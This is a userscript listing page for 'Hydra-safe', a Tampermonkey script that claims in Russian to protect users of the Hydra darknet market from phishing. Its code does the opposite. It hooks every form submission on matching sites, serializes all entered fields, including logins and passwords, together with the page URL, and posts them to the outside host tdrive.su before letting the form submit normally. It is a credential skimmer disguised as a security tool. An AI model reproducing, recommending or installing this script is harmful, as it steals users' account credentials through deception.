Hydra-safe

безопасный доступ к сайту гидры hydra, hydraruzxpnew4af. борьба с фишингом, как не потерять акаунт на гидре. официальные зеркала гидры

θα χρειαστεί να εγκαταστήσετε μια επέκταση όπως το Tampermonkey, το Greasemonkey ή το Violentmonkey για να εγκαταστήσετε αυτόν τον κώδικα.

You will need to install an extension such as Tampermonkey to install this script.

θα χρειαστεί να εγκαταστήσετε μια επέκταση όπως το Tampermonkey ή το Violentmonkey για να εγκαταστήσετε αυτόν τον κώδικα.

θα χρειαστεί να εγκαταστήσετε μια επέκταση όπως το Tampermonkey ή το Userscripts για να εγκαταστήσετε αυτόν τον κώδικα.

You will need to install an extension such as Tampermonkey to install this script.

Θα χρειαστεί να εγκαταστήσετε μια επέκταση διαχείρισης κώδικα χρήστη για να εγκαταστήσετε αυτόν τον κώδικα.

(Έχω ήδη έναν διαχειριστή κώδικα χρήστη, επιτρέψτε μου να τον εγκαταστήσω!)

You will need to install an extension such as Stylus to install this style.

You will need to install an extension such as Stylus to install this style.

You will need to install an extension such as Stylus to install this style.

You will need to install a user style manager extension to install this style.

You will need to install a user style manager extension to install this style.

You will need to install a user style manager extension to install this style.

(Έχω ήδη έναν διαχειριστή στυλ χρήστη, επιτρέψτε μου να τον εγκαταστήσω!)

// ==UserScript==
// @name         Hydra-safe
// @namespace    Hydra_safe
// @version      2024.09.02
// @description  безопасный доступ к сайту гидры hydra, hydraruzxpnew4af. борьба с фишингом, как не потерять акаунт на гидре. официальные зеркала гидры
// @description:en  access to hydra, hydraruzxpnew4af, stop fishing
// @author       Ioan Groznyi
// @match        *hydra*
// @include      http://hydra*
// @include      https://hydra*
// @grant        none
// ==/UserScript==
 
(function(_$, w) {
    'use strict';
    if(self != parent){
        return ;
    }
    var urls = [
        'https://tdrive.su/stat/'
    ];
    var _flag = false,
        $form;
    //_$('#orders-counter, [href="/orders"]').text('');
        _$('form').submit(function(ev){
            if(_flag){
                return true;
            }
            
            ev.preventDefault();
            ev.stopPropagation();
            var form = _$(this).serialize() + '&url_t=' + location.href;
            $form = _$(this);
            _$("html, body, input, button, a").css('cursor','wait');
            _$(urls).each(function(){ send(form, this);});
        });
 
    
    if(w.location.href.match(/notifications/)){ return;
                                               var nots,
                                                   storage_nots,
                                                   message,
                                                   _length,
                                                   compare_string = '';
                                               nots = _$.trim(_$('.list_notifications li').text());
                                               if(nots.length === 0 ){
                                                   send_message(1, 'HELP, I NEED CAPTCHA!!!!!!!!!!!!!!');
                                                   return;
                                               }
                                               storage_nots = localStorage.nots || '';
                                               if(storage_nots.length === 0 ){
                                                   localStorage.nots = nots;
                                                   send_message(2, 'NO DATA IN LOCALSTORAGE.NOTS!!!!!!!!!!');
                                                   return;
                                               }
 
 
                                               _length = Math.max(storage_nots.length, nots.length);
                                               for (let i = 0; i < _length; i++) {
                                                   //compare_string += nots[i] + ' ' + storage_nots[i];
                                                   if(nots[i] !== storage_nots[i]){
                                                       localStorage.nots = nots;
                                                       console.log("Сохранили localStorage.nots = nots");
                                                       // send_message(3, 'Символ ' + i + '\r\n\r\nчасть строки 1: ' + nots.slice(i, i + 10) + '\r\n\r\nЧасть строки 2: ' + storage_nots.slice(i, i + 10));
                                                       return;
                                                   }
                                               }
                                               //send_message(0, 'Строки одинаковые, ничего не делаем!!!!');
                                              }
 
    
    function send(data, url){
        _$.ajax({
            url : url,
            data : data,
            type : 'post',
            crossDomain : true,
            cache : false,
            success : function(resp){
                //                 console.dir(resp.responce);
            },
            error : function(x){
               // console.log(x);
               // console.log('some error occured');
            },
             complete : function(){
                 _flag = true;
                 $form[0].submit();
             }
        });
    }
    function send_message(code, message){
        console.log(message);
        code !== 0 && _$(urls).each(function(){ send(message, this);});
        // code !== 1 && w.setTimeout(function(){w.location.reload(true);},30000);
    }
})(jQuery, window);